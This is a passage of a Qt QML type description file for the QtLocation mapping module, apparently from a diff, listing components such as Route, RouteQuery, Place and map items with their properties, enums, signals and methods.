exports: ["QtLocation/MapItemView 5.0", "QtLocation/MapItemView 5.12"] + exportMetaObjectRevisions: [0, 12] + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "autoFitViewport"; type: "bool" } + Property { name: "add"; revision: 12; type: "QQuickTransition"; isPointer: true } + Property { name: "remove"; revision: 12; type: "QQuickTransition"; isPointer: true } + Property { name: "mapItems"; revision: 12; type: "QList"; isReadonly: true } + Property { name: "incubateDelegates"; revision: 12; type: "bool" } + } + Component { + name: "QDeclarativeGeoMapParameter" + prototype: "QGeoMapParameter" + exports: [ + "QtLocation/DynamicParameter 5.11", + "QtLocation/MapParameter 5.9" + ] + exportMetaObjectRevisions: [0, 0] + Signal { + name: "completed" + Parameter { type: "QDeclarativeGeoMapParameter"; isPointer: true } + } + } + Component { + name: "QDeclarativeGeoMapQuickItem" + defaultProperty: "data" + prototype: "QDeclarativeGeoMapItemBase" + exports: ["QtLocation/MapQuickItem 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "coordinate"; type: "QGeoCoordinate" } + Property { name: "anchorPoint"; type: "QPointF" } + Property { name: "zoomLevel"; type: "double" } + Property { name: "sourceItem"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QDeclarativeGeoMapType" + prototype: "QObject" + exports: ["QtLocation/MapType 5.0", "QtLocation/MapType 5.5"] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Enum { + name: "MapStyle" + values: { + "NoMap": 0, + "StreetMap": 1, + "SatelliteMapDay": 2, + "SatelliteMapNight": 3, + "TerrainMap": 4, + "HybridMap": 5, + "TransitMap": 6, + "GrayStreetMap": 7, + "PedestrianMap": 8, + "CarNavigationMap": 9, + "CycleMap": 10, + "CustomMap": 100 + } + } + Property { name: "style"; type: "MapStyle"; isReadonly: true } + Property { name: "name"; type: "string"; isReadonly: true } + Property { name: "description"; type: "string"; isReadonly: true } + Property { name: "mobile"; type: "bool"; isReadonly: true } + Property { name: "night"; revision: 1; type: "bool"; isReadonly: true } + Property { + name: "cameraCapabilities" + type: "QDeclarativeGeoCameraCapabilities" + isReadonly: true + isPointer: true + } + Property { name: "metadata"; type: "QVariantMap"; isReadonly: true } + } + Component { + name: "QDeclarativeGeoRoute" + prototype: "QObject" + exports: [ + "QtLocation/Route 5.0", + "QtLocation/Route 5.11", + "QtLocation/Route 5.12", + "QtLocation/Route 5.13" + ] + exportMetaObjectRevisions: [0, 11, 12, 13] + Property { name: "bounds"; type: "QGeoRectangle"; isReadonly: true } + Property { name: "travelTime"; type: "int"; isReadonly: true } + Property { name: "distance"; type: "double"; isReadonly: true } + Property { name: "path"; type: "QJSValue" } + Property { name: "segments"; type: "QDeclarativeGeoRouteSegment"; isList: true; isReadonly: true } + Property { + name: "routeQuery" + revision: 11 + type: "QDeclarativeGeoRouteQuery" + isReadonly: true + isPointer: true + } + Property { name: "legs"; revision: 12; type: "QList"; isReadonly: true } + Property { + name: "extendedAttributes" + revision: 13 + type: "QObject" + isReadonly: true + isPointer: true + } + Method { + name: "equals" + type: "bool" + Parameter { name: "other"; type: "QDeclarativeGeoRoute"; isPointer: true } + } + } + Component { + name: "QDeclarativeGeoRouteLeg" + prototype: "QDeclarativeGeoRoute" + exports: ["QtLocation/RouteLeg 5.12"] + exportMetaObjectRevisions: [12] + Property { name: "legIndex"; type: "int"; isReadonly: true } + Property { name: "overallRoute"; type: "QObject"; isReadonly: true; isPointer: true } + } + Component { + name: "QDeclarativeGeoRouteModel" + prototype: "QAbstractListModel" + exports: ["QtLocation/RouteModel 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Enum { + name: "RouteError" + values: { + "NoError": 0, + "EngineNotSetError": 1, + "CommunicationError": 2, + "ParseError": 3, + "UnsupportedOptionError": 4, + "UnknownError": 5, + "UnknownParameterError": 100, + "MissingRequiredParameterError": 101 + } + } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "query"; type: "QDeclarativeGeoRouteQuery"; isPointer: true } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "autoUpdate"; type: "bool" } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "error"; type: "RouteError"; isReadonly: true } + Property { name: "measurementSystem"; type: "QLocale::MeasurementSystem" } + Signal { name: "routesChanged" } + Signal { name: "abortRequested" } + Method { name: "update" } + Method { + name: "get" + type: "QDeclarativeGeoRoute*" + Parameter { name: "index"; type: "int" } + } + Method { name: "reset" } + Method { name: "cancel" } + } + Component { + name: "QDeclarativeGeoRouteQuery" + defaultProperty: "quickChildren" + prototype: "QObject" + exports: [ + "QtLocation/RouteQuery 5.0", + "QtLocation/RouteQuery 5.11", + "QtLocation/RouteQuery 5.13" + ] + exportMetaObjectRevisions: [0, 11, 13] + Enum { + name: "TravelMode" + values: { + "CarTravel": 1, + "PedestrianTravel": 2, + "BicycleTravel": 4, + "PublicTransitTravel": 8, + "TruckTravel": 16 + } + } + Enum { + name: "TravelModes" + values: { + "CarTravel": 1, + "PedestrianTravel": 2, + "BicycleTravel": 4, + "PublicTransitTravel": 8, + "TruckTravel": 16 + } + } + Enum { + name: "FeatureType" + values: { + "NoFeature": 0, + "TollFeature": 1, + "HighwayFeature": 2, + "PublicTransitFeature": 4, + "FerryFeature": 8, + "TunnelFeature": 16, + "DirtRoadFeature": 32, + "ParksFeature": 64, + "MotorPoolLaneFeature": 128, + "TrafficFeature": 256 + } + } + Enum { + name: "FeatureWeight" + values: { + "NeutralFeatureWeight": 0, + "PreferFeatureWeight": 1, + "RequireFeatureWeight": 2, + "AvoidFeatureWeight": 4, + "DisallowFeatureWeight": 8 + } + } + Enum { + name: "RouteOptimization" + values: { + "ShortestRoute": 1, + "FastestRoute": 2, + "MostEconomicRoute": 4, + "MostScenicRoute": 8 + } + } + Enum { + name: "RouteOptimizations" + values: { + "ShortestRoute": 1, + "FastestRoute": 2, + "MostEconomicRoute": 4, + "MostScenicRoute": 8 + } + } + Enum { + name: "SegmentDetail" + values: { + "NoSegmentData": 0, + "BasicSegmentData": 1 + } + } + Enum { + name: "SegmentDetails" + values: { + "NoSegmentData": 0, + "BasicSegmentData": 1 + } + } + Enum { + name: "ManeuverDetail" + values: { + "NoManeuvers": 0, + "BasicManeuvers": 1 + } + } + Enum { + name: "ManeuverDetails" + values: { + "NoManeuvers": 0, + "BasicManeuvers": 1 + } + } + Property { name: "numberAlternativeRoutes"; type: "int" } + Property { name: "travelModes"; type: "TravelModes" } + Property { name: "routeOptimizations"; type: "RouteOptimizations" } + Property { name: "segmentDetail"; type: "SegmentDetail" } + Property { name: "maneuverDetail"; type: "ManeuverDetail" } + Property { name: "waypoints"; type: "QVariantList" } + Property { name: "excludedAreas"; type: "QJSValue" } + Property { name: "featureTypes"; type: "QList"; isReadonly: true } + Property { name: "extraParameters"; revision: 11; type: "QVariantMap"; isReadonly: true } + Property { name: "departureTime"; revision: 13; type: "QDateTime" } + Property { name: "quickChildren"; type: "QObject"; isList: true; isReadonly: true } + Signal { name: "queryDetailsChanged" } + Signal { name: "extraParametersChanged"; revision: 11 } + Method { name: "waypointObjects"; type: "QVariantList" } + Method { + name: "addWaypoint" + Parameter { name: "w"; type: "QVariant" } + } + Method { + name: "removeWaypoint" + Parameter { name: "waypoint"; type: "QVariant" } + } + Method { name: "clearWaypoints" } + Method { + name: "addExcludedArea" + Parameter { name: "area"; type: "QGeoRectangle" } + } + Method { + name: "removeExcludedArea" + Parameter { name: "area"; type: "QGeoRectangle" } + } + Method { name: "clearExcludedAreas" } + Method { + name: "setFeatureWeight" + Parameter { name: "featureType"; type: "FeatureType" } + Parameter { name: "featureWeight"; type: "FeatureWeight" } + } + Method { + name: "featureWeight" + type: "int" + Parameter { name: "featureType"; type: "FeatureType" } + } + Method { name: "resetFeatureWeights" } + } + Component { + name: "QDeclarativeGeoRouteSegment" + prototype: "QObject" + exports: ["QtLocation/RouteSegment 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "travelTime"; type: "int"; isReadonly: true } + Property { name: "distance"; type: "double"; isReadonly: true } + Property { name: "path"; type: "QJSValue"; isReadonly: true } + Property { name: "maneuver"; type: "QDeclarativeGeoManeuver"; isReadonly: true; isPointer: true } + } + Component { + name: "QDeclarativeGeoServiceProvider" + defaultProperty: "parameters" + prototype: "QObject" + exports: ["QtLocation/Plugin 5.0", "QtLocation/Plugin 5.11"] + exportMetaObjectRevisions: [0, 11] + Enum { + name: "RoutingFeature" + values: { + "NoRoutingFeatures": 0, + "OnlineRoutingFeature": 1, + "OfflineRoutingFeature": 2, + "LocalizedRoutingFeature": 4, + "RouteUpdatesFeature": 8, + "AlternativeRoutesFeature": 16, + "ExcludeAreasRoutingFeature": 32, + "AnyRoutingFeatures": -1 + } + } + Enum { + name: "RoutingFeatures" + values: { + "NoRoutingFeatures": 0, + "OnlineRoutingFeature": 1, + "OfflineRoutingFeature": 2, + "LocalizedRoutingFeature": 4, + "RouteUpdatesFeature": 8, + "AlternativeRoutesFeature": 16, + "ExcludeAreasRoutingFeature": 32, + "AnyRoutingFeatures": -1 + } + } + Enum { + name: "GeocodingFeature" + values: { + "NoGeocodingFeatures": 0, + "OnlineGeocodingFeature": 1, + "OfflineGeocodingFeature": 2, + "ReverseGeocodingFeature": 4, + "LocalizedGeocodingFeature": 8, + "AnyGeocodingFeatures": -1 + } + } + Enum { + name: "GeocodingFeatures" + values: { + "NoGeocodingFeatures": 0, + "OnlineGeocodingFeature": 1, + "OfflineGeocodingFeature": 2, + "ReverseGeocodingFeature": 4, + "LocalizedGeocodingFeature": 8, + "AnyGeocodingFeatures": -1 + } + } + Enum { + name: "MappingFeature" + values: { + "NoMappingFeatures": 0, + "OnlineMappingFeature": 1, + "OfflineMappingFeature": 2, + "LocalizedMappingFeature": 4, + "AnyMappingFeatures": -1 + } + } + Enum { + name: "MappingFeatures" + values: { + "NoMappingFeatures": 0, + "OnlineMappingFeature": 1, + "OfflineMappingFeature": 2, + "LocalizedMappingFeature": 4, + "AnyMappingFeatures": -1 + } + } + Enum { + name: "PlacesFeature" + values: { + "NoPlacesFeatures": 0, + "OnlinePlacesFeature": 1, + "OfflinePlacesFeature": 2, + "SavePlaceFeature": 4, + "RemovePlaceFeature": 8, + "SaveCategoryFeature": 16, + "RemoveCategoryFeature": 32, + "PlaceRecommendationsFeature": 64, + "SearchSuggestionsFeature": 128, + "LocalizedPlacesFeature": 256, + "NotificationsFeature": 512, + "PlaceMatchingFeature": 1024, + "AnyPlacesFeatures": -1 + } + } + Enum { + name: "PlacesFeatures" + values: { + "NoPlacesFeatures": 0, + "OnlinePlacesFeature": 1, + "OfflinePlacesFeature": 2, + "SavePlaceFeature": 4, + "RemovePlaceFeature": 8, + "SaveCategoryFeature": 16, + "RemoveCategoryFeature": 32, + "PlaceRecommendationsFeature": 64, + "SearchSuggestionsFeature": 128, + "LocalizedPlacesFeature": 256, + "NotificationsFeature": 512, + "PlaceMatchingFeature": 1024, + "AnyPlacesFeatures": -1 + } + } + Enum { + name: "NavigationFeatures" + values: { + "NoNavigationFeatures": 0, + "OnlineNavigationFeature": 1, + "OfflineNavigationFeature": 2, + "AnyNavigationFeatures": -1 + } + } + Property { name: "name"; type: "string" } + Property { name: "availableServiceProviders"; type: "QStringList"; isReadonly: true } + Property { + name: "parameters" + type: "QDeclarativePluginParameter" + isList: true + isReadonly: true + } + Property { + name: "required" + type: "QDeclarativeGeoServiceProviderRequirements" + isPointer: true + } + Property { name: "locales"; type: "QStringList" } + Property { name: "preferred"; type: "QStringList" } + Property { name: "allowExperimental"; type: "bool" } + Property { name: "isAttached"; type: "bool"; isReadonly: true } + Signal { + name: "nameChanged" + Parameter { name: "name"; type: "string" } + } + Signal { name: "attached" } + Signal { + name: "preferredChanged" + Parameter { name: "preferences"; type: "QStringList" } + } + Signal { + name: "allowExperimentalChanged" + Parameter { name: "allow"; type: "bool" } + } + Method { + name: "supportsRouting" + type: "bool" + Parameter { name: "feature"; type: "RoutingFeatures" } + } + Method { name: "supportsRouting"; type: "bool" } + Method { + name: "supportsGeocoding" + type: "bool" + Parameter { name: "feature"; type: "GeocodingFeatures" } + } + Method { name: "supportsGeocoding"; type: "bool" } + Method { + name: "supportsMapping" + type: "bool" + Parameter { name: "feature"; type: "MappingFeatures" } + } + Method { name: "supportsMapping"; type: "bool" } + Method { + name: "supportsPlaces" + type: "bool" + Parameter { name: "feature"; type: "PlacesFeatures" } + } + Method { name: "supportsPlaces"; type: "bool" } + Method { + name: "supportsNavigation" + revision: 11 + type: "bool" + Parameter { name: "feature"; type: "NavigationFeature" } + } + Method { name: "supportsNavigation"; revision: 11; type: "bool" } + } + Component { + name: "QDeclarativeGeoServiceProviderRequirements" + prototype: "QObject" + exports: ["QtLocation/PluginRequirements 5.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "mapping"; type: "QDeclarativeGeoServiceProvider::MappingFeatures" } + Property { name: "routing"; type: "QDeclarativeGeoServiceProvider::RoutingFeatures" } + Property { name: "geocoding"; type: "QDeclarativeGeoServiceProvider::GeocodingFeatures" } + Property { name: "places"; type: "QDeclarativeGeoServiceProvider::PlacesFeatures" } + Property { name: "navigation"; type: "QDeclarativeGeoServiceProvider::NavigationFeatures" } + Signal { + name: "mappingRequirementsChanged" + Parameter { name: "features"; type: "QDeclarativeGeoServiceProvider::MappingFeatures" } + } + Signal { + name: "routingRequirementsChanged" + Parameter { name: "features"; type: "QDeclarativeGeoServiceProvider::RoutingFeatures" } + } + Signal { + name: "geocodingRequirementsChanged" + Parameter { name: "features"; type: "QDeclarativeGeoServiceProvider::GeocodingFeatures" } + } + Signal { + name: "placesRequirementsChanged" + Parameter { name: "features"; type: "QDeclarativeGeoServiceProvider::PlacesFeatures" } + } + Signal { + name: "navigationRequirementsChanged" + Parameter { name: "features"; type: "QDeclarativeGeoServiceProvider::NavigationFeatures" } + } + Signal { name: "requirementsChanged" } + Method { + name: "matches" + type: "bool" + Parameter { name: "provider"; type: "const QGeoServiceProvider"; isPointer: true } + } + } + Component { + name: "QDeclarativeGeoWaypoint" + defaultProperty: "quickChildren" + prototype: "QGeoCoordinateObject" + exports: ["QtLocation/Waypoint 5.11"] + exportMetaObjectRevisions: [0] + Property { name: "latitude"; type: "double" } + Property { name: "longitude"; type: "double" } + Property { name: "altitude"; type: "double" } + Property { name: "isValid"; type: "bool"; isReadonly: true } + Property { name: "bearing"; type: "double" } + Property { name: "metadata"; type: "QVariantMap"; isReadonly: true } + Property { name: "quickChildren"; type: "QObject"; isList: true; isReadonly: true } + Signal { name: "completed" } + Signal { name: "waypointDetailsChanged" } + Signal { name: "extraParametersChanged" } + } + Component { + name: "QDeclarativeGeocodeModel" + prototype: "QAbstractListModel" + exports: ["QtLocation/GeocodeModel 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Enum { + name: "GeocodeError" + values: { + "NoError": 0, + "EngineNotSetError": 1, + "CommunicationError": 2, + "ParseError": 3, + "UnsupportedOptionError": 4, + "CombinationError": 5, + "UnknownError": 6, + "UnknownParameterError": 100, + "MissingRequiredParameterError": 101 + } + } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "autoUpdate"; type: "bool" } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "limit"; type: "int" } + Property { name: "offset"; type: "int" } + Property { name: "query"; type: "QVariant" } + Property { name: "bounds"; type: "QVariant" } + Property { name: "error"; type: "GeocodeError"; isReadonly: true } + Signal { name: "locationsChanged" } + Method { name: "update" } + Method { + name: "get" + type: "QDeclarativeGeoLocation*" + Parameter { name: "index"; type: "int" } + } + Method { name: "reset" } + Method { name: "cancel" } + } + Component { + name: "QDeclarativeMapLineProperties" + prototype: "QObject" + Property { name: "width"; type: "double" } + Property { name: "color"; type: "QColor" } + Signal { + name: "widthChanged" + Parameter { name: "width"; type: "double" } + } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + } + Component { + name: "QDeclarativePlace" + prototype: "QObject" + exports: ["QtLocation/Place 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Status" + values: { + "Ready": 0, + "Saving": 1, + "Fetching": 2, + "Removing": 3, + "Error": 4 + } + } + Enum { + name: "Visibility" + values: { + "UnspecifiedVisibility": 0, + "DeviceVisibility": 1, + "PrivateVisibility": 2, + "PublicVisibility": 4 + } + } + Property { name: "place"; type: "QPlace" } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "categories"; type: "QDeclarativeCategory"; isList: true; isReadonly: true } + Property { name: "location"; type: "QDeclarativeGeoLocation"; isPointer: true } + Property { name: "ratings"; type: "QDeclarativeRatings"; isPointer: true } + Property { name: "supplier"; type: "QDeclarativeSupplier"; isPointer: true } + Property { name: "icon"; type: "QDeclarativePlaceIcon"; isPointer: true } + Property { name: "name"; type: "string" } + Property { name: "placeId"; type: "string" } + Property { name: "attribution"; type: "string" } + Property { + name: "reviewModel" + type: "QDeclarativeReviewModel" + isReadonly: true + isPointer: true + } + Property { + name: "imageModel" + type: "QDeclarativePlaceImageModel" + isReadonly: true + isPointer: true + } + Property { + name: "editorialModel" + type: "QDeclarativePlaceEditorialModel" + isReadonly: true + isPointer: true + } + Property { name: "extendedAttributes"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "contactDetails"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "detailsFetched"; type: "bool"; isReadonly: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "primaryPhone"; type: "string"; isReadonly: true } + Property { name: "primaryFax"; type: "string"; isReadonly: true } + Property { name: "primaryEmail"; type: "string"; isReadonly: true } + Property { name: "primaryWebsite"; type: "QUrl"; isReadonly: true } + Property { name: "visibility"; type: "Visibility" } + Property { name: "favorite"; type: "QDeclarativePlace"; isPointer: true } + Method { name: "getDetails" } + Method { name: "save" } + Method { name: "remove" } + Method { name: "errorString"; type: "string" } + Method { + name: "copyFrom" + Parameter { name: "original"; type: "QDeclarativePlace"; isPointer: true } + } + Method { + name: "initializeFavorite" + Parameter { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + } + } + Component { + name: "QDeclarativePlaceAttribute" + prototype: "QObject" + exports: ["QtLocation/PlaceAttribute 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "attribute"; type: "QPlaceAttribute" } + Property { name: "label"; type: "string" } + Property { name: "text"; type: "string" } + } + Component { + name: "QDeclarativePlaceContentModel" + prototype: "QAbstractListModel" + Property { name: "place"; type: "QDeclarativePlace"; isPointer: true } + Property { name: "batchSize"; type: "int" } + Property { name: "totalCount"; type: "int"; isReadonly: true } + } + Component { + name: "QDeclarativePlaceEditorialModel" + prototype: "QDeclarativePlaceContentModel" + exports: ["QtLocation/EditorialModel 5.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QDeclarativePlaceIcon" + prototype: "QObject" + exports: ["QtLocation/Icon 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "icon"; type: "QPlaceIcon" } + Property { name: "parameters"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Method { + name: "url" + type: "QUrl" + Parameter { name: "size"; type: "QSize" } + } + Method { name: "url"; type: "QUrl" } + } + Component { + name: "QDeclarativePlaceImageModel" + prototype: "QDeclarativePlaceContentModel" + exports: ["QtLocation/ImageModel 5.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QDeclarativePlaceUser" + prototype: "QObject" + exports: ["QtLocation/User 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "user"; type: "QPlaceUser" } + Property { name: "userId"; type: "string" } + Property { name: "name"; type: "string" } + } + Component { + name: "QDeclarativePluginParameter" + prototype: "QObject" + exports: ["QtLocation/PluginParameter 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Property { name: "value"; type: "QVariant" } + Signal { + name: "nameChanged" + Parameter { name: "name"; type: "string" } + } + Signal { + name: "valueChanged" + Parameter { name: "value"; type: "QVariant" } + } + Signal { name: "initialized" } + } + Component { + name: "QDeclarativePolygonMapItem" + defaultProperty: "data" + prototype: "QDeclarativeGeoMapItemBase" + exports: ["QtLocation/MapPolygon 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "QJSValue" } + Property { name: "color"; type: "QColor" } + Property { + name: "border" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + Method { + name: "addCoordinate" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "removeCoordinate" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + } + Component { + name: "QDeclarativePolylineMapItem" + defaultProperty: "data" + prototype: "QDeclarativeGeoMapItemBase" + exports: ["QtLocation/MapPolyline 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "path"; type: "QJSValue" } + Property { + name: "line" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + Method { name: "pathLength"; type: "int" } + Method { + name: "addCoordinate" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "insertCoordinate" + Parameter { name: "index"; type: "int" } + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "replaceCoordinate" + Parameter { name: "index"; type: "int" } + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "coordinateAt" + type: "QGeoCoordinate" + Parameter { name: "index"; type: "int" } + } + Method { + name: "containsCoordinate" + type: "bool" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "removeCoordinate" + Parameter { name: "coordinate"; type: "QGeoCoordinate" } + } + Method { + name: "removeCoordinate" + Parameter { name: "index"; type: "int" } + } + Method { + name: "setPath" + Parameter { name: "path"; type: "QGeoPath" } + } + } + Component { + name: "QDeclarativeRatings" + prototype: "QObject" + exports: ["QtLocation/Ratings 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "ratings"; type: "QPlaceRatings" } + Property { name: "average"; type: "double" } + Property { name: "maximum"; type: "double" } + Property { name: "count"; type: "int" } + } + Component { + name: "QDeclarativeRectangleMapItem" + defaultProperty: "data" + prototype: "QDeclarativeGeoMapItemBase" + exports: ["QtLocation/MapRectangle 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "topLeft"; type: "QGeoCoordinate" } + Property { name: "bottomRight"; type: "QGeoCoordinate" } + Property { name: "color"; type: "QColor" } + Property { + name: "border" + type: "QDeclarativeMapLineProperties" + isReadonly: true + isPointer: true + } + Signal { + name: "topLeftChanged" + Parameter { name: "topLeft"; type: "QGeoCoordinate" } + } + Signal { + name: "bottomRightChanged" + Parameter { name: "bottomRight"; type: "QGeoCoordinate" } + } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + } + Component { + name: "QDeclarativeReviewModel" + prototype: "QDeclarativePlaceContentModel" + exports: ["QtLocation/ReviewModel 5.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QDeclarativeRouteMapItem" + defaultProperty: "data" + prototype: "QDeclarativePolylineMapItem" + exports: ["QtLocation/MapRoute 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "route"; type: "QDeclarativeGeoRoute"; isPointer: true } + Signal { + name: "routeChanged" + Parameter { name: "route"; type: "const QDeclarativeGeoRoute"; isPointer: true } + } + } + Component { + name: "QDeclarativeSearchModelBase" + prototype: "QAbstractListModel" + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "searchArea"; type: "QVariant" } + Property { name: "limit"; type: "int" } + Property { name: "previousPagesAvailable"; type: "bool"; isReadonly: true } + Property { name: "nextPagesAvailable"; type: "bool"; isReadonly: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Method { name: "update" } + Method { name: "cancel" } + Method { name: "reset" } + Method { name: "errorString"; type: "string" } + Method { name: "previousPage" } + Method { name: "nextPage" } + } + Component { + name: "QDeclarativeSearchResultModel" + prototype: "QDeclarativeSearchModelBase" + exports: [ + "QtLocation/PlaceSearchModel 5.0", + "QtLocation/PlaceSearchModel 5.12" + ] + exportMetaObjectRevisions: [0, 12] + Enum { + name: "SearchResultType" + values: { + "UnknownSearchResult": 0, + "PlaceResult": 1, + "ProposedSearchResult": 2 + } + } + Enum { + name: "RelevanceHint" + values: { + "UnspecifiedHint": 0, + "DistanceHint": 1, + "LexicalPlaceNameHint": 2 + } + } + Property { name: "searchTerm"; type: "string" } + Property { name: "categories"; type: "QDeclarativeCategory"; isList: true; isReadonly: true } + Property { name: "recommendationId"; type: "string" } + Property { name: "relevanceHint"; type: "RelevanceHint" } + Property { name: "visibilityScope"; type: "QDeclarativePlace::Visibility" } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "favoritesPlugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "favoritesMatchParameters"; type: "QVariantMap" } + Property { name: "incremental"; revision: 12; type: "bool" } + Signal { name: "rowCountChanged" } + Signal { name: "dataChanged" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "int" } + Parameter { name: "roleName"; type: "string" } + } + Method { + name: "updateWith" + Parameter { name: "proposedSearchIndex"; type: "int" } + } + } + Component { + name: "QDeclarativeSearchSuggestionModel" + prototype: "QDeclarativeSearchModelBase" + exports: ["QtLocation/PlaceSearchSuggestionModel 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "searchTerm"; type: "string" } + Property { name: "suggestions"; type: "QStringList"; isReadonly: true } + } + Component { + name: "QDeclarativeSupplier" + prototype: "QObject" + exports: ["QtLocation/Supplier 5.0"] + exportMetaObjectRevisions: [0] + Property { name: "supplier"; type: "QPlaceSupplier" } + Property { name: "name"; type: "string" } + Property { name: "supplierId"; type: "string" } + Property { name: "url"; type: "QUrl" } + Property { name: "icon"; type: "QDeclarativePlaceIcon"; isPointer: true } + } + Component { + name: "QDeclarativeSupportedCategoriesModel" + prototype: "QAbstractItemModel" + exports: ["QtLocation/CategoryModel 5.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Roles" + values: { + "CategoryRole": 256, + "ParentCategoryRole": 257 + } + } + Enum { + name: "Status" + values: { + "Null": 0, + "Ready": 1, + "Loading": 2, + "Error": 3 + } + } + Property { name: "plugin"; type: "QDeclarativeGeoServiceProvider"; isPointer: true } + Property { name: "hierarchical"; type: "bool" } + Property { name: "status"; type: "Status"; isReadonly: true } + Signal { name: "dataChanged" } + Method { name: "update" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { name: "errorString"; type: "string" } + } + Component { + name: "QGeoCoordinateObject" + prototype: "QObject" + Property { name: "coordinate"; type: "QGeoCoordinate" } + } + Component { + name: "QGeoMapObject" + defaultProperty: "quickChildren" + prototype: "QParameterizableObject" + Enum { + name: "Type" + values: { + "InvalidType": 0, + "ViewType": 1, + "RouteType": 2, + "RectangleType": 3, + "CircleType": 4, + "PolylineType": 5, + "PolygonType": 6, + "IconType": 7, + "UserType": 256 + } + } + Property { name: "visible"; type: "bool" } + Property { name: "type"; type: "Type"; isReadonly: true } + Property { name: "geoShape"; type: "QGeoShape" } + Signal { name: "selected" } + Signal { name: "completed" } + } + Component { + name: "QGeoMapParameter" + prototype: "QObject" + Property { name: "type"; type: "string" } + Signal { + name: "propertyUpdated" + Parameter { name: "param"; type: "QGeoMapParameter"; isPointer: true } + Parameter { name: "propertyName"; type: "const char"; isPointer: true } + } + } + Component { + name: "QGeoMapPinchEvent" + prototype: "QObject" + exports: ["QtLocation/MapPinchEvent 5.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "center"; type: "QPointF"; isReadonly: true } + Property { name: "angle"; type: "double"; isReadonly: true } + Property { name: "point1"; type: "QPointF"; isReadonly: true } + Property { name: "point2"; type: "QPointF"; isReadonly: true } + Property { name: "pointCount"; type: "int"; isReadonly: true } + Property { name: "accepted"; type: "bool" } + } + Component { + name: "QParameterizableObject" + defaultProperty: "quickChildren" + prototype: "QObject" + Property { name: "quickChildren"; type: "QObject"; isList: true; isReadonly: true } + } + Component { + name: "QQmlPropertyMap" + prototype: "QObject" + exports: ["QtLocation/ExtendedAttributes 5.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Signal { + name: "valueChanged" + Parameter { name: "key"; type: "string" } + Parameter { name: "value"; type: "QVariant" } + } + Method { name: "keys"; type: "QStringList" } + } + Component { + name: "QQuickGeoMapGestureArea" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtLocation/MapGestureArea 5.0", + "QtLocation/MapGestureArea 5.6" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1] + Enum { + name: "GeoMapGesture" + values: { + "NoGesture": 0, + "PinchGesture": 1, + "PanGesture": 2, + "FlickGesture": 4, + "RotationGesture": 8, + "TiltGesture": 16 + } + } + Enum { + name: "AcceptedGestures" + values: { + "NoGesture": 0, + "PinchGesture": 1, + "PanGesture": 2, + "FlickGesture": 4, + "RotationGesture": 8, + "TiltGesture": 16 + } + } + Property { name: "enabled"; type: "bool" } + Property { name: "pinchActive"; type: "bool"; isReadonly: true } + Property { name: "panActive"; type: 